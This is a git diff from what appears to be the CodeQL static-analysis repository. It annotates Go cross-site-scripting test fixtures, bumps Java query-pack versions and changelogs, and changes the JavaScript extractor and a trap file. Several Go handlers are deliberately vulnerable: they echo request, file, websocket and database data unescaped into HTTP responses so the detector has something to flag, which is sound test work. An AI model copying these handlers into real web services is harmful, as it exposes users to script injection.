b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref index 754513d72bb..e6b791f39fc 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/ReflectedXss.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected b/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected index 89612f9722b..4e2958c767e 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected @@ -1,9 +1,7 @@ #select -| StoredXss.go:13:21:13:36 | ...+... | StoredXss.go:13:21:13:31 | call to Name | StoredXss.go:13:21:13:36 | ...+... | Stored cross-site scripting vulnerability due to $@. | StoredXss.go:13:21:13:31 | call to Name | stored value | | stored.go:30:22:30:25 | name | stored.go:18:3:18:28 | ... := ...[0] | stored.go:30:22:30:25 | name | Stored cross-site scripting vulnerability due to $@. | stored.go:18:3:18:28 | ... := ...[0] | stored value | | stored.go:61:22:61:25 | path | stored.go:59:30:59:33 | definition of path | stored.go:61:22:61:25 | path | Stored cross-site scripting vulnerability due to $@. | stored.go:59:30:59:33 | definition of path | stored value | edges -| StoredXss.go:13:21:13:31 | call to Name | StoredXss.go:13:21:13:36 | ...+... | provenance | | | stored.go:18:3:18:28 | ... := ...[0] | stored.go:25:14:25:17 | rows | provenance | Src:MaD:1 | | stored.go:25:14:25:17 | rows | stored.go:25:29:25:33 | &... | provenance | FunctionModel | | stored.go:25:29:25:33 | &... | stored.go:30:22:30:25 | name | provenance | | @@ -11,8 +9,6 @@ edges models | 1 | Source: database/sql; DB; true; Query; ; ; ReturnValue[0]; database; manual | nodes -| StoredXss.go:13:21:13:31 | call to Name | semmle.label | call to Name | -| StoredXss.go:13:21:13:36 | ...+... | semmle.label | ...+... | | stored.go:18:3:18:28 | ... := ...[0] | semmle.label | ... := ...[0] | | stored.go:25:14:25:17 | rows | semmle.label | rows | | stored.go:25:29:25:33 | &... | semmle.label | &... | @@ -20,3 +16,5 @@ nodes | stored.go:59:30:59:33 | definition of path | semmle.label | definition of path | | stored.go:61:22:61:25 | path | semmle.label | path | subpaths +testFailures +| StoredXss.go:13:39:13:63 | comment | Missing result: Alert[go/stored-xss] | diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go index 008b738f4ca..05e865be886 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go @@ -2,14 +2,14 @@ package main import ( "io" - "io/ioutil" "net/http" + "os" ) func ListFiles(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { - io.WriteString(w, file.Name()+"\n") + io.WriteString(w, file.Name()+"\n") // $ Alert[go/stored-xss] } } diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref b/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref index 66b7d67dd8f..f47ad25ca9c 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/StoredXss.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go b/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go index 364b9887466..b0f5e936a6a 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go @@ -4,13 +4,13 @@ import ( "html" "html/template" "io" - "io/ioutil" "net/http" + "os" ) func ListFiles1(w http.ResponseWriter, r *http.Request) { var template template.Template - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, html.EscapeString(file.Name())+"\n") diff --git a/go/ql/test/query-tests/Security/CWE-079/contenttype.go b/go/ql/test/query-tests/Security/CWE-079/contenttype.go index bb9880cc576..2800b3eed45 100644 --- a/go/ql/test/query-tests/Security/CWE-079/contenttype.go +++ b/go/ql/test/query-tests/Security/CWE-079/contenttype.go @@ -8,13 +8,13 @@ import ( func serve2() { http.HandleFunc("/echo", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - data := r.Form.Get("data") + data := r.Form.Get("data") // $ Source[go/reflected-xss] // Not OK; direct flow from request body to output. // The response Content-Type header is derived from a call to // `http.DetectContentType`, which can be easily manipulated into returning // `text/html` for XSS. - w.Write([]byte(data)) + w.Write([]byte(data)) // $ Alert[go/reflected-xss] }) http.ListenAndServe(":80", nil) } @@ -46,11 +46,11 @@ func serve4() { func serve5() { http.HandleFunc("/echo", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - data := r.Form.Get("data") + data := r.Form.Get("data") // $ Source[go/reflected-xss] w.Header().Set("Content-Type", "text/html") - fmt.Fprintf(w, "Constant: %s", data) // Not OK; the content-type header is explicitly set to html + fmt.Fprintf(w, "Constant: %s", data) // $ Alert[go/reflected-xss] // The content-type header is explicitly set to html }) http.ListenAndServe(":80", nil) } @@ -60,8 +60,8 @@ func serve10() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") - fmt.Fprintf(w, "\t%s", data) // Not OK + data = r.FormValue("data") // $ Source[go/reflected-xss] + fmt.Fprintf(w, "\t%s", data) // $ Alert[go/reflected-xss] }) } @@ -70,13 +70,13 @@ func serve11() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") + data = r.FormValue("data") // $ Source[go/reflected-xss] fmt.Fprintf(w, ` %s -`, data) // Not OK +`, data) // $ Alert[go/reflected-xss] }) } @@ -85,10 +85,10 @@ func serve12() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") + data = r.FormValue("data") // $ Source[go/reflected-xss] fmt.Fprintf(w, ` %s -`, data) // Not OK +`, data) // $ Alert[go/reflected-xss] }) } @@ -110,7 +110,7 @@ func serve14() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") - fmt.Fprintf(w, "%s", data) // Not OK + data = r.FormValue("data") // $ Source[go/reflected-xss] + fmt.Fprintf(w, "%s", data) // $ Alert[go/reflected-xss] }) } diff --git a/go/ql/test/query-tests/Security/CWE-079/go.mod b/go/ql/test/query-tests/Security/CWE-079/go.mod index 67a02662281..aaab77bf039 100644 --- a/go/ql/test/query-tests/Security/CWE-079/go.mod +++ b/go/ql/test/query-tests/Security/CWE-079/go.mod @@ -1,6 +1,6 @@ module codeql-go-tests/CWE-079 -go 1.14 +go 1.24 require ( github.com/gobwas/ws v1.0.3 diff --git a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go index 70bb248298d..b3ddc79535b 100644 --- a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go +++ b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go @@ -3,7 +3,7 @@ package main import ( "encoding/json" "fmt" - "io/ioutil" + "io" "net/http" ) @@ -28,29 +28,29 @@ func ErrTest(w http.ResponseWriter, r http.Request) { w.Write([]byte(fmt.Sprintf("Cookie result: %v", cookie))) // GOOD: Cookie's value is not user-controlled in reflected xss. w.Write([]byte(fmt.Sprintf("Cookie check error: %v", err))) // GOOD: Cookie's err return is harmless http.Error(w, fmt.Sprintf("Cookie result: %v", cookie), 500) // Good: only plain text is written. - file, header, err := r.FormFile("someFile") - content, err2 := ioutil.ReadAll(file) - w.Write([]byte(fmt.Sprintf("File content: %v", content))) // BAD: file content is user-controlled - w.Write([]byte(fmt.Sprintf("File name: %v", header.Filename))) // BAD: file header is user-controlled + file, header, err := r.FormFile("someFile") // $ Source[go/reflected-xss] + content, err2 := io.ReadAll(file) + w.Write([]byte(fmt.Sprintf("File content: %v", content))) // $ Alert[go/reflected-xss] // BAD: file content is user-controlled + w.Write([]byte(fmt.Sprintf("File name: %v", header.Filename))) // $ Alert[go/reflected-xss] // BAD: file header is user-controlled w.Write([]byte(fmt.Sprintf("FormFile error: %v", err))) // GOOD: FormFile's err return is harmless w.Write([]byte(fmt.Sprintf("FormFile error: %v", err2))) // GOOD: ReadAll's err return is harmless - reader, err := r.MultipartReader() + reader, err := r.MultipartReader() // $ Source[go/reflected-xss] part, err2 := reader.NextPart() partName := part.FileName() byteSlice := make([]byte, 100) part.Read(byteSlice) - w.Write([]byte(fmt.Sprintf("Part name: %v", partName))) // BAD: part name is user-controlled - w.Write(byteSlice) // BAD: part contents are user-controlled + w.Write([]byte(fmt.Sprintf("Part name: %v", partName))) // $ Alert[go/reflected-xss] // BAD: part name is user-controlled + w.Write(byteSlice) // $ Alert[go/reflected-xss] // BAD: part contents are user-controlled w.Write([]byte(fmt.Sprintf("MultipartReader error: %v", err))) // GOOD: MultipartReader's err return is harmless w.Write([]byte(fmt.Sprintf("MultipartReader error: %v", err2))) // GOOD: NextPart's err return is harmless } func QueryMapTest(w http.ResponseWriter, r http.Request) { - keys, ok := r.URL.Query()["data_id"] + keys, ok := r.URL.Query()["data_id"] // $ Source[go/reflected-xss] if ok && len(keys[0]) > 0 { key := keys[0] - w.Write([]byte(key)) // BAD: query string is user-controlled + w.Write([]byte(key)) // $ Alert[go/reflected-xss] // BAD: query string is user-controlled } } diff --git a/go/ql/test/query-tests/Security/CWE-079/stored.go b/go/ql/test/query-tests/Security/CWE-079/stored.go index 807ae7e1d44..d2852f631ef 100644 --- a/go/ql/test/query-tests/Security/CWE-079/stored.go +++ b/go/ql/test/query-tests/Security/CWE-079/stored.go @@ -15,7 +15,7 @@ var q string func storedserve1() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - rows, _ := db.Query(q, 32) + rows, _ := db.Query(q, 32) // $ Source[go/stored-xss] for rows.Next() { var ( @@ -27,7 +27,7 @@ func storedserve1() { } // BAD: the stored XSS query assumes all query results are untrusted - io.WriteString(w, name) + io.WriteString(w, name) // $ Alert[go/stored-xss] } }) } @@ -56,9 +56,9 @@ func storedserve2() { func storedserve3() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { - filepath.WalkDir(".", func(path string, _ fs.DirEntry, err error) error { + filepath.WalkDir(".", func(path string, _ fs.DirEntry, err error) error { // $ Source[go/stored-xss] // BAD: filenames are considered to be untrusted - io.WriteString(w, path) + io.WriteString(w, path) // $ Alert[go/stored-xss] return nil }) }) diff --git a/go/ql/test/query-tests/Security/CWE-079/tst.go b/go/ql/test/query-tests/Security/CWE-079/tst.go index e6d4f1ed22b..c53fe476b95 100644 --- a/go/ql/test/query-tests/Security/CWE-079/tst.go +++ b/go/ql/test/query-tests/Security/CWE-079/tst.go @@ -11,11 +11,11 @@ import ( func serve6() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source[go/reflected-xss] if !isValidUsername(username) { // BAD: a request parameter is incorporated without validation into the response a := []string{username, "is", "an", "unknown", "user"} - w.Write([]byte(strings.Join(a, " "))) + w.Write([]byte(strings.Join(a, " "))) // $ Alert[go/reflected-xss] } else { // TODO: do something exciting } @@ -45,12 +45,12 @@ func serve7() { func serve8() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - service := r.Form.Get("service") + service := r.Form.Get("service") // $ Source[go/reflected-xss] if service != "service1" && service != "service2" { fmt.Fprintln(w, "Service not found") } else { // OK (service is known to be either "service1" or "service2" here), but currently flagged - w.Write([]byte(service)) + w.Write([]byte(service)) // $ SPURIOUS: Alert[go/reflected-xss] } }) } diff --git a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go index 06f15e52cd3..aa8bc8e41ad 100644 --- a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go @@ -15,10 +15,10 @@ import ( nhooyr "nhooyr.io/websocket" ) -func marshal(v interface{}) (data []byte, payloadType byte, err error) { +func marshal(v any) (data []byte, payloadType byte, err error) { return nil, 0, nil } -func unmarshal(data []byte, payloadType byte, v interface{}) (err error) { +func unmarshal(data []byte, payloadType byte, v any) (err error) { return nil } @@ -27,32 +27,32 @@ func xss(w http.ResponseWriter, r *http.Request) { origin := "test" { ws, _ := websocket.Dial(uri, "", origin) - var xnet = make([]byte, 512) + var xnet = make([]byte, 512) // $ Source[go/reflected-xss] ws.Read(xnet) - fmt.Fprintf(w, "%v", xnet) - codec := &websocket.Codec{marshal, unmarshal} - xnet2 := make([]byte, 512) + fmt.Fprintf(w, "%v", xnet) // $ Alert[go/reflected-xss] + codec := &websocket.Codec{Marshal: marshal, Unmarshal: unmarshal} + xnet2 := make([]byte, 512) // $ Source[go/reflected-xss] codec.Receive(ws, xnet2) - fmt.Fprintf(w, "%v", xnet2) + fmt.Fprintf(w, "%v", xnet2) // $ Alert[go/reflected-xss] } { n, _, _ := nhooyr.Dial(context.TODO(), uri, nil) - _, nhooyr, _ := n.Read(context.TODO()) - fmt.Fprintf(w, "%v", nhooyr) + _, nhooyr, _ := n.Read(context.TODO()) // $ Source[go/reflected-xss] + fmt.Fprintf(w, "%v", nhooyr) // $ Alert[go/reflected-xss] } { dialer := gorilla.Dialer{} conn, _, _ := dialer.Dial(uri, nil) - var gorillaMsg = make([]byte, 512) + var gorillaMsg = make([]byte, 512) // $ Source[go/reflected-xss] gorilla.ReadJSON(conn, gorillaMsg) - fmt.Fprintf(w, "%v", gorillaMsg) + fmt.Fprintf(w, "%v", gorillaMsg) // $ Alert[go/reflected-xss] - gorilla2 := make([]byte, 512) + gorilla2 := make([]byte, 512) // $ Source[go/reflected-xss] conn.ReadJSON(gorilla2) - fmt.Fprintf(w, "%v", gorilla2) + fmt.Fprintf(w, "%v", gorilla2) // $ Alert[go/reflected-xss] - _, gorilla3, _ := conn.ReadMessage() - fmt.Fprintf(w, "%v", gorilla3) + _, gorilla3, _ := conn.ReadMessage() // $ Source[go/reflected-xss] + fmt.Fprintf(w, "%v", gorilla3) // $ Alert[go/reflected-xss] } } diff --git a/java/ql/integration-tests/java/query-suite/java-code-scanning.qls.expected b/java/ql/integration-tests/java/query-suite/java-code-scanning.qls.expected index a8ce00aca6c..3290e0d84b0 100644 --- a/java/ql/integration-tests/java/query-suite/java-code-scanning.qls.expected +++ b/java/ql/integration-tests/java/query-suite/java-code-scanning.qls.expected @@ -12,7 +12,6 @@ ql/java/ql/src/Security/CWE/CWE-023/PartialPathTraversalFromRemote.ql ql/java/ql/src/Security/CWE/CWE-074/JndiInjection.ql ql/java/ql/src/Security/CWE/CWE-074/XsltInjection.ql ql/java/ql/src/Security/CWE/CWE-078/ExecTainted.ql -ql/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.ql ql/java/ql/src/Security/CWE/CWE-079/XSS.ql ql/java/ql/src/Security/CWE/CWE-089/SqlTainted.ql ql/java/ql/src/Security/CWE/CWE-090/LdapInjection.ql diff --git a/java/ql/lib/CHANGELOG.md b/java/ql/lib/CHANGELOG.md index 412521919b9..1e624ba0913 100644 --- a/java/ql/lib/CHANGELOG.md +++ b/java/ql/lib/CHANGELOG.md @@ -1,3 +1,14 @@ +## 7.3.1 + +No user-facing changes. + +## 7.3.0 + +### Deprecated APIs + +* The predicate `getValue()` on `SpringRequestMappingMethod` is now deprecated. Use `getAValue()` instead. +* Java now uses the shared `BasicBlock` library. This means that the names of several member predicates have been changed to align with the names used in other languages. The old predicates have been deprecated. The `BasicBlock` class itself no longer extends `ControlFlowNode` - the predicate `getFirstNode` can be used to fix any QL code that somehow relied on this. + ## 7.2.0 ### New Features diff --git a/java/ql/lib/change-notes/2025-05-22-spring-request-mapping-value.md b/java/ql/lib/change-notes/2025-05-22-spring-request-mapping-value.md deleted file mode 100644 index 8b7effc535d..00000000000 --- a/java/ql/lib/change-notes/2025-05-22-spring-request-mapping-value.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: deprecated ---- -* The predicate `getValue()` on `SpringRequestMappingMethod` is now deprecated. Use `getAValue()` instead. diff --git a/java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md b/java/ql/lib/change-notes/released/7.3.0.md similarity index 72% rename from java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md rename to java/ql/lib/change-notes/released/7.3.0.md index e71ae5c1317..a40049582ef 100644 --- a/java/ql/lib/change-notes/2025-05-16-shared-basicblocks.md +++ b/java/ql/lib/change-notes/released/7.3.0.md @@ -1,4 +1,6 @@ ---- -category: deprecated ---- +## 7.3.0 + +### Deprecated APIs + +* The predicate `getValue()` on `SpringRequestMappingMethod` is now deprecated. Use `getAValue()` instead. * Java now uses the shared `BasicBlock` library. This means that the names of several member predicates have been changed to align with the names used in other languages. The old predicates have been deprecated. The `BasicBlock` class itself no longer extends `ControlFlowNode` - the predicate `getFirstNode` can be used to fix any QL code that somehow relied on this. diff --git a/java/ql/lib/change-notes/released/7.3.1.md b/java/ql/lib/change-notes/released/7.3.1.md new file mode 100644 index 00000000000..2f2fe547226 --- /dev/null +++ b/java/ql/lib/change-notes/released/7.3.1.md @@ -0,0 +1,3 @@ +## 7.3.1 + +No user-facing changes. diff --git a/java/ql/lib/codeql-pack.release.yml b/java/ql/lib/codeql-pack.release.yml index fda9ea165fc..43cb026b139 100644 --- a/java/ql/lib/codeql-pack.release.yml +++ b/java/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 7.2.0 +lastReleaseVersion: 7.3.1 diff --git a/java/ql/lib/qlpack.yml b/java/ql/lib/qlpack.yml index 8e1e06ab6b5..35f35a391c5 100644 --- a/java/ql/lib/qlpack.yml +++ b/java/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-all -version: 7.2.1-dev +version: 7.3.2-dev groups: java dbscheme: config/semmlecode.dbscheme extractor: java diff --git a/java/ql/src/CHANGELOG.md b/java/ql/src/CHANGELOG.md index 286ed1123af..ca355f5e684 100644 --- a/java/ql/src/CHANGELOG.md +++ b/java/ql/src/CHANGELOG.md @@ -1,3 +1,13 @@ +## 1.5.2 + +No user-facing changes. + +## 1.5.1 + +### Minor Analysis Improvements + +* The query `java/hardcoded-credential-api-call` has been removed from all query suites. + ## 1.5.0 ### Query Metadata Changes diff --git a/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.ql b/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.ql index d50f583bbfe..afa675c7f7b 100644 --- a/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.ql +++ b/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.ql @@ -5,7 +5,7 @@ * @kind problem * @problem.severity error * @security-severity 9.8 - * @precision high + * @precision medium * @id java/concatenated-command-line * @tags security * external/cwe/cwe-078 diff --git a/java/ql/src/Security/CWE/CWE-134/ExternallyControlledFormatString.ql b/java/ql/src/Security/CWE/CWE-134/ExternallyControlledFormatString.ql index fc5af977a33..ffb191327a2 100644 --- a/java/ql/src/Security/CWE/CWE-134/ExternallyControlledFormatString.ql +++ b/java/ql/src/Security/CWE/CWE-134/ExternallyControlledFormatString.ql @@ -3,7 +3,7 @@ * @description Using external input in format strings can lead to exceptions or information leaks. * @kind path-problem * @problem.severity error - * @security-severity 9.3 + * @security-severity 7.3 * @precision high * @id java/tainted-format-string * @tags security diff --git a/java/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md b/java/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md new file mode 100644 index 00000000000..6ab4beb7290 --- /dev/null +++ b/java/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md @@ -0,0 +1,4 @@ +--- +category: queryMetadata +--- +* Adjusts the `@security-severity` from 9.3 to 7.3 for `java/tainted-format-string` to align `CWE-134` severity for memory safe languages to better reflect their impact. diff --git a/java/ql/src/change-notes/2025-06-10-reduce-precision-for-building-cmdline-with-string-concatenation.md b/java/ql/src/change-notes/2025-06-10-reduce-precision-for-building-cmdline-with-string-concatenation.md new file mode 100644 index 00000000000..392e1965def --- /dev/null +++ b/java/ql/src/change-notes/2025-06-10-reduce-precision-for-building-cmdline-with-string-concatenation.md @@ -0,0 +1,4 @@ +--- +category: queryMetadata +--- +* Adjusts the `@precision` from high to medium for `java/concatenated-command-line` because it is producing false positive alerts when the concatenated strings are hard-coded. diff --git a/java/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/java/ql/src/change-notes/released/1.5.1.md similarity index 67% rename from java/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to java/ql/src/change-notes/released/1.5.1.md index 18340ca8774..23e49bba729 100644 --- a/java/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/java/ql/src/change-notes/released/1.5.1.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.5.1 + +### Minor Analysis Improvements + * The query `java/hardcoded-credential-api-call` has been removed from all query suites. diff --git a/java/ql/src/change-notes/released/1.5.2.md b/java/ql/src/change-notes/released/1.5.2.md new file mode 100644 index 00000000000..384c27833f1 --- /dev/null +++ b/java/ql/src/change-notes/released/1.5.2.md @@ -0,0 +1,3 @@ +## 1.5.2 + +No user-facing changes. diff --git a/java/ql/src/codeql-pack.release.yml b/java/ql/src/codeql-pack.release.yml index 639f80c4341..7eb901bae56 100644 --- a/java/ql/src/codeql-pack.release.yml +++ b/java/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.5.0 +lastReleaseVersion: 1.5.2 diff --git a/java/ql/src/qlpack.yml b/java/ql/src/qlpack.yml index be53e6c8c0b..a0b518b6876 100644 --- a/java/ql/src/qlpack.yml +++ b/java/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-queries -version: 1.5.1-dev +version: 1.5.3-dev groups: - java - queries diff --git a/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java b/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java index e7306e77e01..43e70160fe8 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java @@ -426,7 +426,6 @@ public class ScopeManager { // cases where we turn on the 'declKind' flags @Override public Void visit(FunctionDeclaration nd, Void v) { - if (nd.hasDeclareKeyword() && !isInTypeScriptDeclarationFile()) return null; // strict mode functions are block-scoped, non-strict mode ones aren't if (blockscope == isStrict) visit(nd.getId(), DeclKind.var); return null; @@ -434,7 +433,6 @@ public class ScopeManager { @Override public Void visit(ClassDeclaration nd, Void c) { - if (nd.hasDeclareKeyword() && !isInTypeScriptDeclarationFile()) return null; if (blockscope) visit(nd.getClassDef().getId(), DeclKind.varAndType); return null; } @@ -483,7 +481,6 @@ public class ScopeManager { @Override public Void visit(VariableDeclaration nd, Void v) { - if (nd.hasDeclareKeyword() && !isInTypeScriptDeclarationFile()) return null; // in block scoping mode, only process 'let'; in non-block scoping // mode, only process non-'let' if (blockscope == nd.isBlockScoped(ecmaVersion)) visit(nd.getDeclarations()); @@ -518,8 +515,7 @@ public class ScopeManager { @Override public Void visit(NamespaceDeclaration nd, Void c) { if (blockscope) return null; - boolean isAmbientOutsideDtsFile = nd.hasDeclareKeyword() && !isInTypeScriptDeclarationFile(); - boolean hasVariable = nd.isInstantiated() && !isAmbientOutsideDtsFile; + boolean hasVariable = nd.isInstantiated(); visit(nd.getName(), hasVariable ? DeclKind.varAndNamespace : DeclKind.namespace); return null; } diff --git a/javascript/extractor/tests/ts/output/trap/conditionalTypes.ts.trap b/javascript/extractor/tests/ts/output/trap/conditionalTypes.ts.trap index 0751d283e6c..2a1c0efbd44 100644 --- a/javascript/extractor/tests/ts/output/trap/conditionalTypes.ts.trap +++ b/javascript/extractor/tests/ts/output/trap/conditionalTypes.ts.trap @@ -8434,1316 +8434,1316 @@ namespacedecl(#22807,#22182) scopes(#22808,9) scopenodes(#22805,#22808) scopenesting(#22808,#20000) -#22809=@"local_type_name;{Unpacked};{#22808}" -local_type_names(#22809,"Unpacked",#22808) -#22810=@"local_type_name;{T0};{#22808}" -local_type_names(#22810,"T0",#22808) -#22811=@"local_type_name;{T1};{#22808}" -local_type_names(#22811,"T1",#22808) -#22812=@"local_type_name;{T2};{#22808}" -local_type_names(#22812,"T2",#22808) -#22813=@"local_type_name;{T3};{#22808}" -local_type_names(#22813,"T3",#22808) -#22814=@"local_type_name;{T4};{#22808}" -local_type_names(#22814,"T4",#22808) -#22815=@"local_type_name;{T5};{#22808}" -local_type_names(#22815,"T5",#22808) -#22816=@"local_type_name;{Foo};{#22808}" -local_type_names(#22816,"Foo",#22808) -#22817=@"local_type_name;{T10};{#22808}" -local_type_names(#22817,"T10",#22808) -#22818=@"local_type_name;{T11};{#22808}" -local_type_names(#22818,"T11",#22808) -#22819=@"local_type_name;{Bar};{#22808}" -local_type_names(#22819,"Bar",#22808) -#22820=@"local_type_name;{T20};{#22808}" -local_type_names(#22820,"T20",#22808) -#22821=@"local_type_name;{T21};{#22808}" -local_type_names(#22821,"T21",#22808) -#22822=@"local_type_name;{T30};{#22808}" -local_type_names(#22822,"T30",#22808) -#22823=@"local_type_name;{AnyFunction};{#22808}" -local_type_names(#22823,"AnyFunction",#22808) -#22824=@"local_type_name;{ReturnType};{#22808}" -local_type_names(#22824,"ReturnType",#22808) -#22825=* -stmts(#22825,35,#22805,0,"type Un ... \n T;") -#22826=@"loc,{#10000},73,3,77,6" -locations_default(#22826,#10000,73,3,77,6) -hasLocation(#22825,#22826) -stmt_containers(#22825,#22805) -#22827=* -typeexprs(#22827,1,#22825,0,"Unpacked") -hasLocation(#22827,#21482) -enclosing_stmt(#22827,#22825) -expr_containers(#22827,#22805) -literals("Unpacked","Unpacked",#22827) -typedecl(#22827,#22809) +#22809=@"var;{foo};{#22808}" +variables(#22809,"foo",#22808) +#22810=@"local_type_name;{Unpacked};{#22808}" +local_type_names(#22810,"Unpacked",#22808) +#22811=@"local_type_name;{T0};{#22808}" +local_type_names(#22811,"T0",#22808) +#22812=@"local_type_name;{T1};{#22808}" +local_type_names(#22812,"T1",#22808) +#22813=@"local_type_name;{T2};{#22808}" +local_type_names(#22813,"T2",#22808) +#22814=@"local_type_name;{T3};{#22808}" +local_type_names(#22814,"T3",#22808) +#22815=@"local_type_name;{T4};{#22808}" +local_type_names(#22815,"T4",#22808) +#22816=@"local_type_name;{T5};{#22808}" +local_type_names(#22816,"T5",#22808) +#22817=@"local_type_name;{Foo};{#22808}" +local_type_names(#22817,"Foo",#22808) +#22818=@"local_type_name;{T10};{#22808}" +local_type_names(#22818,"T10",#22808) +#22819=@"local_type_name;{T11};{#22808}" +local_type_names(#22819,"T11",#22808) +#22820=@"local_type_name;{Bar};{#22808}" +local_type_names(#22820,"Bar",#22808) +#22821=@"local_type_name;{T20};{#22808}" +local_type_names(#22821,"T20",#22808) +#22822=@"local_type_name;{T21};{#22808}" +local_type_names(#22822,"T21",#22808) +#22823=@"local_type_name;{T30};{#22808}" +local_type_names(#22823,"T30",#22808) +#22824=@"local_type_name;{AnyFunction};{#22808}" +local_type_names(#22824,"AnyFunction",#22808) +#22825=@"local_type_name;{ReturnType};{#22808}" +local_type_names(#22825,"ReturnType",#22808) +#22826=* +stmts(#22826,35,#22805,0,"type Un ... \n T;") +#22827=@"loc,{#10000},73,3,77,6" +locations_default(#22827,#10000,73,3,77,6) +hasLocation(#22826,#22827) +stmt_containers(#22826,#22805) #22828=* -scopes(#22828,12) -scopenodes(#22825,#22828) -scopenesting(#22828,#22808) -#22829=@"local_type_name;{T};{#22828}" -local_type_names(#22829,"T",#22828) -#22830=* -typeexprs(#22830,22,#22825,2,"T") -hasLocation(#22830,#21486) -enclosing_stmt(#22830,#22825) -expr_containers(#22830,#22805) +typeexprs(#22828,1,#22826,0,"Unpacked") +hasLocation(#22828,#21482) +enclosing_stmt(#22828,#22826) +expr_containers(#22828,#22805) +literals("Unpacked","Unpacked",#22828) +typedecl(#22828,#22810) +#22829=* +scopes(#22829,12) +scopenodes(#22826,#22829) +scopenesting(#22829,#22808) +#22830=@"local_type_name;{T};{#22829}" +local_type_names(#22830,"T",#22829) #22831=* -typeexprs(#22831,1,#22830,0,"T") +typeexprs(#22831,22,#22826,2,"T") hasLocation(#22831,#21486) -enclosing_stmt(#22831,#22825) +enclosing_stmt(#22831,#22826) expr_containers(#22831,#22805) -literals("T","T",#22831) -typedecl(#22831,#22829) #22832=* -typeexprs(#22832,28,#22825,1,"T exten ... :\n T") -#22833=@"loc,{#10000},74,5,77,5" -locations_default(#22833,#10000,74,5,77,5) -hasLocation(#22832,#22833) -enclosing_stmt(#22832,#22825) +typeexprs(#22832,1,#22831,0,"T") +hasLocation(#22832,#21486) +enclosing_stmt(#22832,#22826) expr_containers(#22832,#22805) -#22834=* -typeexprs(#22834,0,#22832,0,"T") -hasLocation(#22834,#21492) -enclosing_stmt(#22834,#22825) -expr_containers(#22834,#22805) -literals("T","T",#22834) -typebind(#22834,#22829) +literals("T","T",#22832) +typedecl(#22832,#22830) +#22833=* +typeexprs(#22833,28,#22826,1,"T exten ... :\n T") +#22834=@"loc,{#10000},74,5,77,5" +locations_default(#22834,#10000,74,5,77,5) +hasLocation(#22833,#22834) +enclosing_stmt(#22833,#22826) 